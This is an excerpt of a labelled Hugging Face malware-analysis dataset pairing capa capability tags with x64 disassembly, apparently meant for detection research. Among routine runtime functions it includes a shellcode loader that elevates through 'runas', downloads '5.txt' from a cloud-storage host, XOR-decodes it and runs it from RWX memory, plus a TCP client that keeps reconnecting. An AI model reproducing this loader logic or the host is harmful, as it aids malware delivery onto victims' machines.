joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a940c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400a948a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400a9481
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400a9481
mov rax, qword [rbp - 8]
jmp 0x1400a949f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400a9454
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400a9840
Capabilities:
Accept command line arguments

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [str._J8_]
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rsp + 0x4c], eax
call qword [sym.__p___argv]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400a9890
mov ecx, dword [rsp + 0x4c]
call sym.qMain_int__char_
mov r13d, eax
mov eax, r13d
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x4c]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test rax, rax
mov r13, rax
je 0x1400a99c5
movabs rax, 0xfffffffffffffff
mov esi, dword [rsp + 0x4c]
lea ecx, [rsi + 1]
movsxd rcx, ecx
cmp rcx, rax
ja 0x1400a99d0
shl rcx, 3
xor ebx, ebx
call sym.operator_new___unsigned_long_long_
test esi, esi
mov rbp, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r12, rax
je 0x1400a9970
nop word [rax + rax]
mov r14, qword [r13 + rbx*8]
xor edx, edx
mov r9d, 0xffffffff
xor ecx, ecx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8, r14
call rbp
movsxd rcx, eax
mov rdi, rcx
call sym.operator_new___unsigned_long_long_
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov rsi, rax
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, r14
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
call rbp
mov qword [r12 + rbx*8], rsi
lea esi, [rbx + 1]
add rbx, 1
cmp dword [rsp + 0x4c], ebx
jne 0x1400a98f0
movsxd rsi, esi
mov rcx, r13
xor ebx, ebx
mov qword [r12 + rsi*8], 0
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [rsp + 0x4c]
mov rdx, r12
call sym.qMain_int__char_
mov r13d, eax
mov eax, dword [rsp + 0x4c]
test eax, eax
jne 0x1400a99af
jmp 0x1400a99b8
call sym.operator_delete___void_
add rbx, 1
cmp dword [rsp + 0x4c], ebx
je 0x1400a99b8
mov rcx, qword [r12 + rbx*8]
test rcx, rcx
jne 0x1400a99a0
mov rcx, r12
call sym.operator_delete___void_
jmp 0x1400a9878
mov r13d, 0xffffffff
jmp 0x1400a9878
call sym.__cxa_throw_bad_array_new_length
nop
nop word cs:[rax + rax]
Function at 0x1400e8240
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 0x28
movups xmmword [rsp], xmm6
movups xmmword [rsp + 0x10], xmm7
movdqu xmm5, xmmword [0x1402f30f0]
pxor xmm7, xmm7
movdqu xmm6, xmmword [0x1402f3100]
movdqu xmm3, xmmword [0x1402f3110]
movdqu xmm4, xmmword [0x1402f3120]
mov rdx, rcx
lea rcx, [rcx + 0x380]
mov rax, rdx
nop
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 4]
add rax, 0x10
movdqu xmm2, xmmword [rax + 0x624]
pand xmm1, xmm6
pand xmm0, xmm5
por xmm0, xmm1
movdqa xmm1, xmm0
pand xmm0, xmm3
psrld xmm1, 1
pxor xmm1, xmm2
movdqa xmm2, xmm7
psubd xmm2, xmm0
pand xmm2, xmm4
movdqa xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [rax - 0x10], xmm0
cmp rcx, rax
jne 0x1400e8280
movq xmm0, qword [rdx + 0x380]
mov eax, dword [rdx + 0x388]
movq xmm1, qword [0x1402f30f0]
mov ecx, dword [rdx + 0x38c]
movq xmm2, qword [0x1402f3100]
and eax, 0x80000000
pand xmm0, xmm1
and ecx, 0x7fffffff
movq xmm1, qword [rdx + 0x384]
or eax, ecx
pand xmm1, xmm2
mov ecx, eax
and eax, 1
por xmm0, xmm1
neg eax
shr ecx, 1
xor ecx, dword [rdx + 0x9bc]
movdqa xmm2, xmm0
and eax, 0x9908b0df
movq xmm1, qword [rdx + 0x9b4]
psrld xmm2, 1
xor eax, ecx
lea rcx, [rdx + 0x9bc]
pxor xmm1, xmm2
mov dword [rdx + 0x388], eax
movq xmm2, qword [0x1402f3110]
lea rax, [rdx + 0x38c]
pand xmm0, xmm2
pxor xmm2, xmm2
psubd xmm2, xmm0
movq xmm0, qword [0x1402f3120]
pand xmm0, xmm2
pxor xmm2, xmm2
pxor xmm1, xmm0
movq qword [rdx + 0x380], xmm1
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 4]
add rax, 0x10
movdqu xmm7, xmmword [rax - 0x39c]
pand xmm1, xmm6
pand xmm0, xmm5
por xmm0, xmm1
movdqa xmm1, xmm0
pand xmm0, xmm3
psrld xmm1, 1
pxor xmm1, xmm7
movdqa xmm7, xmm2
psubd xmm7, xmm0
pand xmm7, xmm4
movdqa xmm0, xmm7
pxor xmm0, xmm1
movups xmmword [rax - 0x10], xmm0
cmp rcx, rax
jne 0x1400e8383
mov eax, dword [rdx + 0x9bc]
mov ecx, dword [rdx]
mov qword [rdx + 0x9c0], 0
movups xmm6, xmmword [rsp]
movups xmm7, xmmword [rsp + 0x10]
and ecx, 0x7fffffff
and eax, 0x80000000
or eax, ecx
mov ecx, eax
and eax, 1
neg eax
shr ecx, 1
xor ecx, dword [rdx + 0x630]
and eax, 0x9908b0df
xor eax, ecx
mov dword [rdx + 0x9bc], eax
add rsp, 0x28
ret

Function at 0x1400f1990
Capabilities:
Parse credit card information

Disassembly:
mov rax, qword [rcx + 0xb8]
cmp qword [rcx + 0xb0], rax
je 0x1400f19d0
mov eax, dword [rcx + 0x88]
test eax, eax
je 0x1400f19b8
cmp eax, 2
je 0x1400f19c0
cmp eax, 1
je 0x1400f19c8
ret
jmp method.std::__detail::_Scanner_char_._M_scan_normal__
jmp method.std::__detail::_Scanner_char_._M_scan_in_bracket__
jmp method.std::__detail::_Scanner_char_._M_scan_in_brace__
mov dword [rcx + 0x90], 0x1b
ret
Function at 0x1400f19e0
Capabilities:
Parse credit card information

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rax, qword [rcx + 0xc8]
mov dword [rsp + 0x24], edx
mov r13d, edx
mov rbx, rcx
lea r15, [rcx + 0xd8]
mov qword [rcx + 0xd0], 0
mov byte [rax], 0
mov rax, qword [rcx + 0xb0]
mov rdx, qword [rcx + 0xb8]
cmp rdx, rax
jne 0x1400f1a5e
jmp 0x1400f1bb0
mov byte [rdi + rsi], r14b
mov rax, qword [rbx + 0xc8]
mov qword [rbx + 0xd0], rbp
mov byte [rax + rsi + 1], 0
mov rax, qword [rbx + 0xb0]
mov rdx, qword [rbx + 0xb8]
cmp rax, rdx
je 0x1400f1bb0
cmp byte [rax], r13b
je 0x1400f1b48
mov rsi, qword [rbx + 0xd0]
mov rdi, qword [rbx + 0xc8]
lea rdx, [rax + 1]
mov qword [rbx + 0xb0], rdx
movzx r14d, byte [rax]
lea rbp, [rsi + 1]
cmp rdi, r15
je 0x1400f1b00
mov r12, qword [rbx + 0xd8]
cmp r12, rbp
jae 0x1400f1a30
test rbp, rbp
js 0x1400f1bc9
add r12, r12
cmp rbp, r12
jb 0x1400f1ba0
mov rcx, rsi
add rcx, 2
js 0x1400f1ba5
mov r12, rbp
call sym.operator_new_unsigned_long_long_
mov rdi, rax
test rsi, rsi
jne 0x1400f1b1d
mov r10, qword [rbx + 0xc8]
cmp r15, r10
je 0x1400f1aea
mov rax, qword [rbx + 0xd8]
mov rcx, r10
lea rdx, [rax + 1]
call sym.operator_delete_void__unsigned_long_long_
mov qword [rbx + 0xc8], rdi
mov qword [rbx + 0xd8], r12
jmp 0x1400f1a30
cmp rbp, 0x10
jne 0x1400f1a30
mov ecx, 0x1f
mov r12d, 0x1e
call sym.operator_new_unsigned_long_long_
mov rdi, rax
mov r10, qword [rbx + 0xc8]
cmp rsi, 1
je 0x1400f1b90
mov rdx, r10
mov r8, rsi
mov rcx, rdi
mov qword [rsp + 0x28], r10
call sym.memcpy
mov r10, qword [rsp + 0x28]
jmp 0x1400f1ad2
cmp rax, rdx
je 0x1400f1bb0
lea rcx, [rax + 1]
movzx edi, byte [rsp + 0x24]
mov qword [rbx + 0xb0], rcx
cmp byte [rax], dil
jne 0x1400f1bb0
cmp rcx, rdx
je 0x1400f1bb0
lea rdx, [rax + 2]
mov qword [rbx + 0xb0], rdx
cmp byte [rax + 1], 0x5d
jne 0x1400f1bb0
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, byte [r10]
mov byte [rdi], al
jmp 0x1400f1ad2
test r12, r12
jns 0x1400f1bbf
call sym.std::__throw_bad_alloc__
nop word [rax + rax]
xor ecx, ecx
cmp byte [rsp + 0x24], 0x3a
sete cl
call sym.std::__throw_regex_error_std::regex_constants::error_type_
lea rcx, [r12 + 1]
jmp 0x1400f1abe
lea rcx, [0x1402e8580]
call sym.std::__throw_length_error_char_const_
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001060
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov word [rsp + 0x70], 0x500
lea rax, [rsp + 0x60]
mov dword [rsp + 0x68], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x6c]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x6c], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1400010ff
mov rdx, qword [rsp + 0x60]
lea r8, [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rsp + 0x68]
test eax, eax
cmove ecx, ebx
mov dword [rsp + 0x68], ecx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140002c10
add rsp, 0x80
pop rbx
ret

Function at 0x140001120
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x1b8
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001060
test eax, eax
jne 0x1400011c5
mov r8d, 0x104
lea rdx, [rsp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400011c5
xor edx, edx
mov dword [rsp + 0x20], 0x70
lea rcx, [rsp + 0x24]
lea r8d, [rdx + 0x6c]
call fcn.140005780
lea rax, str.runas
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
lea rax, [rsp + 0x90]
mov dword [rsp + 0x50], 1
mov qword [rsp + 0x38], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1400011e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
je 0x1400011dd
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.140002c10
add rsp, 0x1b8
ret
xor ecx, ecx
call fcn.140006ad4
int3
xor ecx, ecx
call fcn.140006ad4
int3
Function at 0x1400011f0
Capabilities:
Allocate or change rwx memory
Check if file exists
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
push rdi
sub rsp, 0x90
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x80], rax
movdqa xmm0, xmmword [0x14001a7c0]
movdqa xmm1, xmmword [0x14001a7a0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm0, xmmword [0x14001a7b0]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm1, xmmword [str.ngkong.myqcloud.dqweqwfe125_1328290122.cos.ap_hohttps:__wwwasfas]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x70], 0x2f6d6f63
mov dword [rsp + 0x74], 0x2e353231
mov dword [rsp + 0x78], 0x747874
call fcn.140001120
lea rcx, str.urlmon.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x140001447
lea rdx, str.URLDownloadToFileA
mov qword [rsp + 0xb0], rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x1400012a7
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x14000143f
lea rcx, str.5.txt
mov qword [rsp + 0xa0], rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ebx, ebx
cmp eax, 0xffffffff
jne 0x1400012df
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.5.txt
xor ecx, ecx
lea rdx, [rsp + 0x30]
call rsi
test eax, eax
js 0x140001305
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14001a558]
lea rcx, str.5.txt
call fcn.140007098
mov rsi, rax
test rax, rax
jne 0x140001313
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140001437
xor edx, edx
mov qword [rsp + 0xa8], rbp
mov rcx, rsi
mov qword [rsp + 0xb8], r14
lea r8d, [rdx + 2]
call fcn.140007394
mov rcx, rsi
call fcn.140006fd4
xor r8d, r8d
movsxd rbp, eax
xor edx, edx
mov rcx, rsi
call fcn.140007394
mov rcx, rbp
call fcn.1400079b4
mov r14, rax
test rax, rax
jne 0x140001366
mov rcx, rsi
call fcn.140007128
jmp 0x14000141e
mov r9, rsi
mov r8, rbp
mov edx, 1
mov rcx, r14
call fcn.140007640
mov rcx, rsi
call fcn.140007128
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbp, rbp
je 0x1400013e1
movabs r8, 0x2492492492492493
lea r9, str.XDCY1XD
nop dword [rax]
nop word [rax + rax]
mov rax, r8
mov rcx, rbx
mul rbx
mov rax, rbx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rbx + r14], al
inc rbx
cmp rbx, rbp
jb 0x1400013b0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbp
mov rdx, r14
mov rcx, rax
mov rbx, rax
call fcn.140003ac0
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
mov rcx, r14
call fcn.14000739c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbp, qword [rsp + 0xa8]
mov r14, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0xb0]
mov eax, 1
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140002c10
add rsp, 0x90
pop rdi
ret
Function at 0x140006ad4
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140006967
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006967
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006967
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006967
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006967
cmp dword [rcx + 0x84], 0xe
jbe 0x140006967
cmp dword [rcx + 0xf8], 0
je 0x140006967
mov ecx, ebx
call fcn.140006a08
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1400067f8
cmp dword [rbp + 0x20], 0
je 0x1400069b4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400069bc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140006900
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a8d0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a8e0]
mov dword [rax], 1
mov rax, qword [0x14000a8f0]
mov dword [rax], 1
mov rax, qword [0x14000a850]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a8c0]
mov dword [0x14000d00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000a9a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000a980]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a830]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400014d0
Capabilities:
Create tcp socket

Disassembly:
push rbx
sub rsp, 0x20
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
cmp rax, 0xffffffffffffffff
je 0x1400014f7
add rsp, 0x20
pop rbx
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 2
mov ebx, eax
call qword [dbg.__acrt_iob_func]
mov r8d, ebx
lea rdx, str._ERROR__Failed_to_create_socket:__d_n
mov rcx, rax
call sym.fprintf
mov ecx, 1
call sym.exit
nop
nop word [rax + rax]
Function at 0x140001630
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Initialize winsock library

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x418
movups xmmword [rsp + 0x400], xmm6
mov ecx, 0x202
lea rdx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, eax
test eax, eax
je 0x140001688
mov ecx, 2
call qword [dbg.__acrt_iob_func]
mov r8d, ebx
lea rdx, str._ERROR__WSAStartup_failed:__d_n
mov rcx, rax
call sym.fprintf
mov ecx, 1
call sym.exit
mov ecx, 0x1f90
mov word [rsp + 0x40], 2
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.0.0.0.0
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov r15, qword [dbg.__acrt_iob_func]
mov r14, qword [sym.imp.WS2_32.dll_socket]
mov dword [rsp + 0x44], eax
mov r13, qword [sym.imp.WS2_32.dll_connect]
nop dword [rax]
mov r8d, 6
mov edx, 1
mov ecx, 2
call r14
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400017f0
lea rdx, [rsp + 0x40]
mov r8d, 0x10
mov rcx, rax
call r13
test eax, eax
jne 0x1400017c0
lea rcx, str._INFO__Connected_successfully._n
lea r12d, [rbx + 1]
call sym.printf
mov rdi, qword [sym.imp.WS2_32.dll_select]
lea rbp, [rsp + 0x38]
movq xmm6, qword [0x14000a148]
lea rsi, [rsp + 0x1f0]
nop dword [rax]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbp
mov rdx, rsi
mov qword [rsp + 0x1f8], rbx
mov ecx, r12d
mov dword [rsp + 0x1f0], 1
movq qword [rsp + 0x38], xmm6
call rdi
cmp eax, 0xffffffff
je 0x140001790
test eax, eax
je 0x140001730
mov rdx, rsi
mov rcx, rbx
call sym.__WSAFDIsSet
test eax, eax
je 0x140001730
lea rcx, str._INFO__Connection_lost__reconnecting..._n
call sym.printf
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1400016c8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 2
mov ebx, eax
call r15
mov r8d, ebx
lea rdx, str._ERROR__select___failed:__d_n
mov rcx, rax
call sym.fprintf
jmp 0x1400016c8
mov ecx, 2
call r15
lea rdx, str._ERROR__Initial_connection_failed__retrying..._n
mov rcx, rax
call sym.fprintf
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400016c8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 2
mov ebx, eax
call r15
mov r8d, ebx
lea rdx, str._ERROR__Failed_to_create_socket:__d_n
mov rcx, rax
call sym.fprintf
mov ecx, 1
call sym.exit
nop
nop
nop
nop
jmp qword [sym.imp.WS2_32.dll_socket]
or byte [rdi], cl
pop rdi
pop rdi
jo 0x14001cbe6
outsd dx, dword [rsi]
jb 0x14001cbf0
invalid
push rbx
push r12
pop rdi
push rax
push rdx
push r11
add byte [rbx], r8b
invalid

Function at 0x140001b30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001ba0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d0a4]
mov rbx, rcx
test esi, esi
jle 0x140001cd0
mov rax, qword [0x14000d0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001beb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001c75
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001bd0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001cf2
mov rax, qword [0x14000d0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001cd7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001c6e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001c80
add dword [0x14000d0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001c6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001bf8
mov rax, qword [0x14000d0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002280
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d0e0]
test rbx, rbx
je 0x1400022dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400022d3
test eax, eax
jne 0x1400022d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400022b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400024f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002508
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002510
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret